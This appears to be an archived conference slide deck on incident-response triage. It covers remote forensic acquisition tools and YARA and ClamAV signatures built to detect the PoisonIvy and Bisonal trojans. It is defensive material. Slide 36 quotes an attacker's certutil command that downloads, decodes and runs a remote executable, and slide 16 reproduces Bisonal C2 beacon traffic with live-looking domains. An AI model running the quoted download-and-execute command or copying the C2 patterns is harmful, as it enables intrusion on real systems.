BSides IR in Heterogeneous Environment

Archived: 2026-04-06 01:26:06 UTC

- 1.
- 2.

  The mass-triage problemin 2018 • The investigation process (Triage), in any IT incident, is the key to solve the case and to clean all the affected systems. • But in heterogeneous environments, where Windows, Linux, Mac OS, and Unix systems are potentially affected by the attacker, the investigation process is slowed by a number of technical complexities. First problem is related to a common platform and procedure to adopt for the triage as many technologies are capable of covering only a portion of the environment. Second problem, what to look for, as the triage is aimed to identify malicious artifacts and usual technologies are not providing flexibility and agility to shape the triage process. Third problem, the capability to search the heterogeneous environment using custom IOCs. Fourth problem, the possibility to pinpoint known badness which allows for easier mitigation. • In our approach, the IOCs play an important role both for the investigation process and the definition of the best way to approach the triage. We were looking to a “rule them all” solution aimed to overcome traditional limitations of the most common commercial solutions. 2

- 3.

  Traditional IOCs application •The traditional IR approach: • Context, in regard of IOCs, typically does not exists. • Application of IOCs to the environment is rule-based • Customization of IOCs are not an option in some commercial products. • Rule-based detection will miss changes made to the actor’s tools 3

- 4.

  Our idea • Theproduction of code leaves traces in any binary. • The binary can contain debugging symbols, which give you a lot of information. • Often the attacker tools include the use of specific libraries or functions. • A lot of fingerprinting can be done with software, an this is very useful for IR analyses. • The combined information of both can help to solve the attribution problem. • Helps with assessment of risks • Identifying end goals for known actors • Aid the creation of IOCs that are “actionable” and not “disposable” 4

- 5.

  RIFT (Retrieve InterestingFiles Tool) ● Retrieves files/directories based on regex list ● Uses Sleuthkit to retrieve files forensically ● Outputs files files into a directory (machine name) ● Retrieved files are saved remote share/USB ● Recreates the directory structure of where the file was found ● To run: ● Download: rift --verbose --savedrive [SAVEDRIVE] https://github.com/chaoticmachinery/frac_rift 5

- 6.
- 7.

  FRAC (Forensic ResponseACquisition) ● Uses RIFT to forensically retrieve files/directories across the network ● Recommend using PAExec or SSH/SSHPASS to connect to remote machines ● Requires local admin rights and remote share (SMB/NFS depending on OS) ● Supports single IP, CIDR notation, and IP range like the following examples: ● Can be used to execute any command on remote machines ● To run: –172.16.10.12 –172.16.10.1/24 –172.16.10.1-172.16.10.230 frac_v0.05 --iplist iplist.txt --cmd cmd.txt –verbose paexec.exe [IP] -n 4 -u [ADMINID] -p [ADMINPASS] -s cmd /C "net use [SHAREDRV] /delete /yes & net use [SHAREDRV] [SHARE] /user: [SHAREUSERID] [SHAREPASSWD] && cd /d [SAVEDRIVE] && rift.exe -- verbose --savedrive [SAVEDRIVE] && net use [SHAREDRV] /delete /yes" sshpass -p [ADMINPASS] ssh [IP] "mkdir [SHAREDRV];mount [MNTOPTS] [SRCBOX]:[SRCMNT] [SHAREDRV] ; cd [SHAREDRV]/frac_v0.05 && ./rift -- verbose --savedrive [SAVEDRIVE] ; cd / && umount [SHAREDRV] && rmdir [SHAREDRV]" Examples of Cmd.Txt 7

- 8.

  FRAC (Forensic ResponseAcquisition): The Output ● FRAC/RIFT creates directories with the hostname of the machine drwxr-xr-x 7 root root 4096 Apr 11 19:39 machinea_04112018_19-18-58 drwxr-xr-x 9 root root 4096 Apr 11 20:11 machineb_04112018_15-19-02 drwxr-xr-x 135 root root 20480 Apr 11 19:37 etc -rw-r--r-- 1 root root 675539 Apr 11 19:40 getfiles.txt drwxr-xr-x 3 root root 4096 Apr 11 19:37 home drwxr-xr-x 3 root root 4096 Apr 11 19:37 opt drwxr-xr-x 5 root root 4096 Apr 11 19:21 root -rw-r--r-- 1 root root 230661477 Apr 11 19:43 machineb_04112018_15-19-28_fls.out drwxr-xr-x 5 root root 4096 Apr 11 19:38 usr drwxr-xr-x 5 root root 4096 Apr 11 19:40 var Getfiles.txt Contains the mactime information for all of the files retrieved as well as the inode *fls.out Contains the fls.out (mactime) output from the Sleuthkit FLS command. All of the directory structure is recreated and files are forensically copied to where they existed on the drive. 8

- 9.

  Actionable IOCs (AIOCs) •The concept of “actionable” IOCs has been derived and refined from a collective set of Incident Response investigations, and could become a valid support of our investigative process if organized in a scientifically sound approach. • Utilizes procedures, analysis, and evidence for a methodical approach • Based on positive matches can help identify the attacker • It allow the creation of a structured knowledge base of attackers • The knowledge base allows the creation of attacker profiles 9

- 10.
- 11.

  Example: PoisonIvy • PoisonIvy,a Remote Access Tool/Trojan (RAT) often used in targeted attacks, had been widely seen until around 2013. • Since then, the number of cases using PoisonIvy decreased, and there was no special variant with expanded features seen in the wild. • However, recently, we identified PoisonIvy with expanded features in its communication function capable to bypass HTTP/HTTPS proxy in APT and cybercriminal attacks thanks to modifications in the malware code. Latest PoisonIvy variants are different 11

- 12.

  YARA RULES PoisonIvy typicalIOC rule poisonivy_1 : rat { meta: description = "Poison Ivy" author = "Jean-Philippe Teissier / @Jipe_" date = "2013-02-01" filetype = "memory" version = "1.0" ref1 = "https://code.google.com/p/volatility/source/browse/trunk/contrib/plugins/malware/poisonivy.py strings: $a = { 53 74 75 62 50 61 74 68 ?? 53 4F 46 54 57 41 52 45 5C 43 6C 61 73 73 65 73 5C 68 74 74 70 5C 73 68 65 6C 6C 5C 6F 70 65 6E 5C 63 6F 6D 6D 61 6E 64 [22] 53 6F 66 74 77 61 72 65 5C 4D 69 63 72 6F 73 6F 66 74 5C 41 63 74 69 76 65 20 53 65 74 75 70 5C 49 6E 73 74 61 6C 6C 65 64 20 43 6F 6D 70 6F 6E 65 6E 74 73 5C } condition: $a } rule PoisonIvy_2 { meta: author = " Kevin Breen <kevin@techanarchy.net>" date = "2014/04" ref = "http://malwareconfig.com/stats/PoisonIvy" maltype = "Remote Access Trojan" filetype = "exe" strings: $stub = {04 08 00 53 74 75 62 50 61 74 68 18 04} $string1 = "CONNECT %s:%i HTTP/1.0" $string2 = "ws2_32" $string3 = "cks=u" $string4 = "thj@h" $string5 = "advpack" condition: $stub at 0x1620 and all of ($string*) or (all of them) } } rule PoisonIvy_Generic_3 { meta: description = "PoisonIvy RAT Generic Rule" author = "Florian Roth" date = "2015-05-14" hash = "e1cbdf740785f97c93a0a7a01ef2614be792afcd" strings: $k1 = "Tiger324{" fullword ascii $s2 = "WININET.dll" fullword ascii $s3 = "mscoree.dll" fullword wide $s4 = "WS2_32.dll" fullword $s5 = "Explorer.exe" fullword wide $s6 = "USER32.DLL" $s7 = "CONOUT$" $s8 = "login.asp" $h1 = "HTTP/1.0" $h2 = "POST" $h3 = "login.asp" $h4 = "check.asp" $h5 = "result.asp" $h6 = "upload.asp" condition: uint16(0) == 0x5a4d and filesize < 500KB and ($k1 or all of ($s*) or all of ($h*)) rule PoisonIvy_Sample_APT { meta: description = "Detects a PoisonIvy APT malware group" author = "Florian Roth" reference = "VT Analysis" date = "2015-06-03" hash = "b874b76ff7b281c8baa80e4a71fc9be514093c70" strings: $s0 = "pidll.dll" fullword ascii $s1 = "sens32.dll" fullword wide $s3 = "FileDescription" fullword wide $s4 = "OriginalFilename" fullword $s5 = "ZwSetInformationProcess" fullword ascii $s9 = "Microsoft Media Device Service Provider" fullword wide condition: uint16(0) == 0x5a4d and filesize < 47KB and all of them } 12

- 13.

  rule PoisonIvy { strings: $s1= "%supdate%4d%02d%02d%02d%02d%02d.tmp" wide ascii $s2 = "cks=u" wide ascii $s3 = “CONNECT %s:%i HTTP//1.0” wide ascii $s4 = “vry7fo/URLDownez{” wide ascii $s5 = “6u%u.193.%d” wide ascii $s6 = “/c del %s > nul” wide ascii $s7 = “%u.193.%d.%d” wide ascii $s8 = “GET %s HTTP/1.1” wide ascii condition: ($s1 and $s2 and $s3) or ($s4 and $s5) or ($s6 and $s7 and $s8) and // MZ signature at offset 0 and ... uint16(0) == 0x5A4D and // ... PE signature at offset stored in MZ header at 0x3C uint32(uint32(0x3C)) == 0x00004550 } YARA RULES PoisonIvy Actionable IOC: Yara rule The first three strings identify the PoisonIvy generic variants, including latest ones. These strings match an old version of PoisonIvy 2011 packed in UPX. For the same sample, we use these strings to match the decompressed version of PoisonIvy (always 2011).

- 14.

  AIOCs formalization process Atomic IOCs Highorder Yara rules for files and packets Actor tags and attack descriptions Actor tools High order ClamAV signature High order log and system artifacts System and network visibility Alternative System visibility Log and artifacts visibility Classification and attribution Virustotal and other repository searches Evolutive and comparative analysis formalization 14

- 15.

  • Bisonal isanother example. It is a backdoor. • The malware can be split into two components: the main module, communication module. • The main module is responsible for providing the framework to execute the various components within the malware. • The communication module is responsible for the sending of information to the server, receiving new commands from it and downloading of new executable. • If a new executable is downloaded successfully, it will notifying the main module to execute it. • The malware is capable of: • Listing and controlling

processes • Creating and deleting files • Creating a remote shell • Downloading and executing files • Bisonal is an APT tool. Trojan.Bisonal 15

- 16.

  Trojan.Bisonal traffic • Custom“flag” and c2 domain – used to track victim 16 GET /j/news.asp?id=* HTTP/1.1 User-Agent: flag:khi host:Business IP:10.0.0.51 OS:XPSP3 vm:.. proxy:.. Host: online.cleansite.us Cache-Control: no-cache ---------- GET /a.asp?id=* HTTP/1.1 Accept:*/* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR 2.0.50727; .NET CLR 3.0.04.506.648;.NET CLR 3.5.21002) Host: khi.acmetoy.com Connection: Keep-Alive GET /rc/news1.asp?id=flag:831nec%20host:Remote%20PC%20 IP:169.254.100.211%20OS:XPSP3%20vm:..%20proxy:.. HTTP/1.1 User-Agent: flag:831nec host:Remote PC IP:169.254.100.211 OS:XPSP3 vm:?? proxy:?? Host: online.4pu.com ---------- GET /a.asp?id=* HTTP/1.1 Accept:*/* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0;.NET CLR 2.0.50727; .NET CLR 3.0.04.506.648;.NET CLR 3.5.21002) Host: necnec.dns04.com Connection: Keep-Alive

- 17.

  Trojan.Bisonal resulting AIOCdescription o Type of malware: Modular Trojan (single stage), mainly used for data stealing o Capabilities: beaconing, listing and controlling processes, creating and deleting files, creating remote shells, downloading and executing files o Dissemination strategy: via Dropper or email attachment o Architecture: Client / Server using public C2s o Type of communication: HTTP protocol (in general it uses TCP/80 and TCP/443, but port can be customized) o Related Adversary: HeartBeat APT Group (Chinese) o Earlier Adversary detection: November 2009 (South Korea - TrendMicro) o Area of operation: actually limited to Asia (including Russia) o Recorded targets: Mitsubishi Heavy Industries, NEC Corp, Nippon Steel Corp, IHI Corp, several Ministries in Japan and South Korea. o Type of AIOCs developed: Yara rules for files, Yara rules for PCAPs, ClamAV rules, Snort Rule, Registry and logs. 17

- 18.

  Bisonal Behavior Sample:918a78b49397b17da48f37206fa7801b11d410ea6faa755d0aa27872c7e84c74 set registry value key: HKCUSoftwareMicrosoftWindowsCurrentVersionRun value: dfea data: C:Windowstasksdfea.exe key: HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap value: UNCAsIntranet data: 0 key: HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap value: AutoDetect data: 1 Sample> E8ff9de367c771fd9a5ae2df91b62fe57a64f528a7a80dbd9e307a7ae3e6af80 Set registry value key: HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap value: UNCAsIntranet data: 0 key: HKCUSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZoneMap value: AutoDetect data: 1 Registry keys IOCs 18 Sample: 918a78b49397b17da48f37206fa7801b11d410ea6faa755d0aa27872c7e84c74 Create File C:WindowsTasksdfea.exe Sample: E8ff9de367c771fd9a5ae2df91b62fe57a64f528a7a80dbd9e307a7ae3e6af80 Create File C:UsersAdminAppDataLocalTempchrome.exe C:WindowsTaskstaskeng.exe Created files IOCs

- 19.

  YARA RULES rule Trojan.Bisonal{ strings: $s1 = "wkko%00hhh1y~|t}ppt1|pr0Josp~{Yvsz0y~rz0g0p/1~lo" wide ascii $s2 = "defa" wide ascii $s3 = "love a meng" wide ascii $s4 = "HE@L-PShellE" wide ascii $s5 = "xecut" $s6 = "wkko%00yjq{1|r|1pm1tm0Josp~{Yvsz0y~rz0g0p/1~lo" wide ascii $s7 = "http://%s/%s.asp?id=%s%s%s" $s8 = "http://%s/a.asp?id=%s%s" $s9 = "c:a1.txt“ condition: ($s1 and $s2) or ($s2 and $s3) or ($s4 and $5) and ($s6 and $s7 and $s8 and $s9) and // MZ signature at offset 0 and ... uint16(0) == 0x5A4D and // ... PE signature at offset stored in MZ header at 0x3C uint32(uint32(0x3C)) == 0x00004550 } Trojan.Bisonal family the first two strings are common to other Bisonal samples, but not all. The latest samples contain different strings, except for $s6 string which is very similar to the first string in conditition $s1. These strings match a Bisonal sample that uses a common obfuscation techniques(split a word in more lines). Beyond the common string “defa” the samples of bisonal present different string. 19

- 20.

  Flag:727x Flag:1223 Flag:8080 Flag:84d Flag:d2 Flag:dick Flag:ihi IHI Corp Flag:m615 Flag:MARK 1 Flag:nec01NEC Corp Flag:nsc516 Nippon Streel Corp Flag:qqq Flag:toray Flag:410maff Ministry of Agriculture, Forestry and Fisheries Flag:712mhi Mitsubishi Heavy Industries ... YARA RULES toward AIOCs Trojan.Bisonal family rule campaignA { strings: $s00 = "Flag:8080" ascii wide nocase condition: all of them and uint16(0) == 0xC3D4 } rule campaignB { strings: $s00 = "Flag:84d" ascii wide nocase condition: all of them and uint16(0) == 0xC3D4 } rule campaignC { strings: $s00 = "flag:boat" ascii wide nocase condition: all of them and uint16(0) == 0xC3D4 } rule campaignD { strings: $s00 = "Flag:d2" ascii wide nocase condition: all of them and uint16(0) == 0xC3D4 } rule campaignE { strings: $s00 = "Flag:dick" ascii wide nocase condition: all of them and uint16(0) == 0xC3D4 } rule campaignF { strings: $s00 = "flag:ihi" ascii wide nocase condition: all of them and uint16(0) == 0xC3D4 } rule campaignW { strings: $s00 = "Flag:qqq" ascii wide nocase condition: all of them

and uint16(0) == 0xC3D4 } To develop AIOCs from atomic indicators we need to incorporate «actionable» elements that link the malware to a specific actor and campaign... This Yara can be applied to PCAPs 20

- 21.
- 22.

22 Clam AV: Intro •ClamAV is an open source and free anti-virus program. • ClamAV runs on Windows (ClamWin), Linux, BSD, Solaris, and Mac OS X, and its mainly designed to scan email attachment, but it can be used as a regular anti- virus. • ClamAV includes: • Features • Can search archives • Can search multiple file types • Multithreaded Clamscan Clamdscan/Clamd Freshclam Command line virus scanner Client/Server virus scanner tool to update the virus definition database

- 23.

23 YARA Rules, AIOCsand ClamAV • Yara is the swiss army knife for any low-cost triage and can be applied to many endpoint forensic platforms. • Values that work across multiple platforms • Text strings • Hex values that are in multiple versions of the binary • ClamAV provides combination of both worlds. • By empowering ClamAV with Yara rules, we are able to run massive triage on almost all type of system using AIOCs we have developed.

- 24.

Using ClamAV toScan for Badness clamscan --infected --recursive --allmatch –archive -verbose --database ./{yara sigs}.yara {starting directory} | tee clamav_{date}_yara clamscan --infected --recursive --allmatch --archive-verbose --database ./{clamav sigs}.ldb {starting directory} | tee clamav_{date}_sigs 24

- 25.

Using ClamAV: ResultsCustom Rules - ClamAV ● Multiple hits on the same file helps to verify results /kswapd0: cpuminer_v2.3.3_64bit.UNOFFICIAL FOUND /kswapd0: cpuminer_generic.UNOFFICIAL FOUND /kswapd0: cpuminer_v2.3.3_102917_64bit.UNOFFICIAL FOUND /kswapd0: cpuminer_v2.3.3_102917_32bit.UNOFFICIAL FOUND /kswapd0!(0): cpuminer_v2.3.3_102917_32bit.UNOFFICIAL FOUND /minerd: minerd_cpuminer_v2.3.3_64bit.UNOFFICIAL FOUND /minerd: cpuminer_generic.UNOFFICIAL FOUND /minerd!(0): cpuminer_generic.UNOFFICIAL FOUND /yam: yam_cpuminer_64bit.UNOFFICIAL FOUND /yam!(0): yam_cpuminer_64bit.UNOFFICIAL FOUND /gcc: XMRig_v2.3.1.UNOFFICIAL FOUND /gcc!(0): XMRig_v2.3.1.UNOFFICIAL FOUND 25

- 26.

Using ClamAV: ResultsCustom Rules - Yara ● Multiple hits on the same file helps to verify results config.json: YARA.stratum.UNOFFICIAL FOUND config.json: YARA.monero.UNOFFICIAL FOUND config.json: YARA.monerohashcom.UNOFFICIAL FOUND config.json!(0): YARA.monerohashcom.UNOFFICIAL FOUND outfile: YARA.stratum.UNOFFICIAL FOUND outfile: YARA.cpuminer.UNOFFICIAL FOUND outfile!(0): YARA.cpuminer.UNOFFICIAL FOUND kswapd0: YARA.stratum.UNOFFICIAL FOUND kswapd0: YARA.cpuminer.UNOFFICIAL FOUND kswapd0!(0): YARA.cpuminer.UNOFFICIAL FOUND 26

- 27.

Sigtool: ClamAV commandline 27 Sigtool (signature and database management tool) Signature using the hash of the PE-section of an executable Signature using full MD5 hash of file Signature using the a hex fragment of a file

- 28.

C:Documents and SettingsuserDesktop>sigtool --md5 malware.exe >> sigFile.hdb C:Documents and SettingsuserDesktop>type sigFile.hdb B4619d8058362b38d20480c14d30c209:40500:malware.exe C:Documents and SettingsuserDesktop> sigtool --mdb malware.exe.text.dat >> sigFile.mdb • To create a unique signature for an executable file we use the --md5 option of sigtool, and then save the output into a file with a “.hdb” extension. • To create a signature that will match a particular PE section (typically the sections are labelled .text, .rdata, .data, .idata, etc.), use the “--mdb” option of sigtool and then save the output into a “.mdb” file. The easiest way to generate MD5 based section signatures is to extract target PE sections into separate files. Sigtool: Command explained 28

- 29.

C:Documents and SettingsuserDesktop>echo I am malware | sigtool --hex-dump 4920616d2061206d616c77617265200d0a C:Documents and SettingsuserDesktop> echo testSig:0:*:4920616d2061206d616c77617265200d0a >> sigFile.ndb • The last method is to use Body-based signatures in an hexadecimal format. It relies on extracted strings from the body of the file. • In the next example we create an hex dump of the string “I am malware”. • Next we save the signature that has the format called “Extended Signature”: MalwareName:TargetType:Offset:HexSignature and redirect the output to a file “.ndb”. Sigtool: Command explained 29

- 30.

  Generating ClamAV Signatureswith IDA with CASC ● ClamAV Signature Creator (CASC) ● How to use it: https://github.com/Cisco-Talos/CASC/wiki Open binary in IDA and select Strings Window Right click and select add string 1 Select text2 3 30

- 31.

  Generating ClamAV Signatureswith IDA with CASC • Select signature(s) and hit “Create ClamAV Signature” button on the ClamAV Signature Creator view. • In the popup, find the signature and save to file Note: Make sure the extension is ldb 4 5 31

- 32.

  Remote ClamAV scanwith Psexec Psexec can execute remote commands and so start the scan on every computer of a network. To use Psexec, the user must have rights to access the filesystem of the target computer. > psexec 192.168.81.128 -u administrator -p p4ssw0rd1! "C:Program Files (x86)ClamAV clamscan" -r -d C:bioazih.ndb C: > psexec DESTINATIONIP -u USER -p PASSWORD “REMOTE_PATH_TO_CLAMSCAN" -r -d LOCAL_PATH_TO_CLAMAV_DATABASE_FILE REMOTE_PATH_TO_SCAN Psxec machine with ClamAV DB Scanned Host 1 Scanned Host 2 Scanned Host 3 32

- 33.

  Remote ClamAV scanwith FRAC FRAC can be used to scan the network. It tracks those IP addresses that cannot be connected so that can be feed back to FRAC later for scanning. Remember to create a share with clam databases Might be able to scan more 25 boxes at a time. Do sensitive boxes by hand vs using FRAC. FRAC machine with ClamAV DB Scanned Host 1 Scanned Host 2 Scanned Host 3 ./frac_v0.05.pl --iplist iplist.txt --cmd cmd.txt --verbose 33

- 34.

  ClamAV PoisonIvy variantssignature PoisonIvy2015:0:*:257375706461746525346425303264253032642530326425303264253032642e746d70*434f4e4e4543542025733a256920485
  PoisonIVY2011:0:*:202f632064656c202573203e206e756c*25752e3139332e25642e2564*474554202573204854502f312e31*757564646f736
  PoisonIVY2011UPX:0:*:76727937666f2f55524c446f776e657a7b*365c5c7525752e3139332e2564 The second part contains instead “CONNECT %s:%i HTTP//1.0” The first Rule contains two non-successive strings divided by the symbol “*”. The first string translated from hexadecimal contains the word “%supdate%4d%02d%02d%02d%02d%02d.tmp”. This rule takes a Poison Ivy sample dated 2011 and we use 3 different strings. The first is “/c del %s > nul” The second strings is “GET %s HTTP/1.1” The last matches to “uuddosbea” The third rule is the same sample mentioned above, but without the package UPX. The first of two strings is “vry7fo/URLDownez{” The second strings is “6u%u.193.%d” 34

- 35.

  ClamAV Bisonal -logic signature BISONAL;Target:1;(0&1&2)|(0&2&3)|(4&5)|(6&7&8);534f4654574152455c4d6963726f736f66745c57696e646f77735c43757272656e7456657273696f6e5c52756e;776b6b6f25303068686831797e7c747d707074317c7072304a6f73707e7b5976737a30797e727a306730702f317e6c6f;633a5c77696e646f77735c7461736
  65;6c6f76652061206d656e67;4845404c2d505368656c6c45;7865637574;776b6b6f253030796a717b317c727c31706d31746d304a6f73707e7b597
  730702f317e6c6f;687474703a2f2f25732f25732e6173703f69643d257325732573;633a5c615c322e747874 BISONAL;Target:1;(0&1&2)|(0&2&3)|(4&5)|(6&7&8) This is a ClamAV “Body-based”, slightly different, from the previous one. It has to be put inside a “.LDB” file and it is possible to use logic operators inside the rule. Logical operators in action within the BISONAL signature. Numbers are placeholders for the hex strings. Match IF found: (both strings 0,1 and 2) OR (both strings 0,2 and 3) OR (only strings 4 and 5) OR (both strings 6,7 and 8). 534f4654574152455c4d6963726f736f66745c57696e646f77735c43757272656e7456657273696f6e5c52756e = SOFTWAREMicrosoftWindowsCurrentVersionRun 776b6b6f25303068686831797e7c747d707074317c7072304a6f73707e7b5976737a30797e727a306730702f317e6 c6f = wkko%00hhh1y~|t}ppt1|pr0Josp~{Yvsz0y~rz0g0p/1~lo 633a5c77696e646f77735c7461736b735c646566612e657865 = c:windowstasksdfea.exe 6c6f76652061206d656e67 = love a meng 4845404c2d505368656c6c45 = HE@L-PShellE 7865637574 = xecut 776b6b6f253030796a717b317c727c31706d31746d304a6f73707e7b5976737a30797e727a306730702f317e6c6f = wkko%00yjq{1|r|1pm1tm0Josp~{Yvsz0y~rz0g0p/1~lo 687474703a2f2f25732f25732e6173703f69643d257325732573 = http://%s/%s.asp?id=%s%s%s 633a5c615c322e747874 = c:a2.txtz 1 2 3 4 5 6 7 8 0 35

- 36.

  ClamAV and Forensics ●ClamAV can help with Forensics investigations – Can detect badness in log files – Example Find: ● Find in the section C of the modsec logs: ●/var/log/httpd/modsec_audit.log:

Win.Downloader.CertutilURLCache-6335697-0 FOUND ●certutil -urlcache -split -f http://xx.xx.xx.xx/update.b64 update.b64 ●certutil -decode update.b64 update.exe ●update.exe 36

- 37.

  • Actionable IOCsis an answer to the need of solid indicators to support the investigation, the attribution and the triage, of incidents generated by malicious actors. • The adoption of this methodology can positively impact investigation and triage, but also improves knowledge of the tools and strategies adopted by the adversaries. • The formalization process behind it can facilitate the exchange of information and indicators without the risk of unintentional leakage of sensitive information and, in short, strengthen the proactive and reactive capabilities of any structure. Where are we heading

- 38.
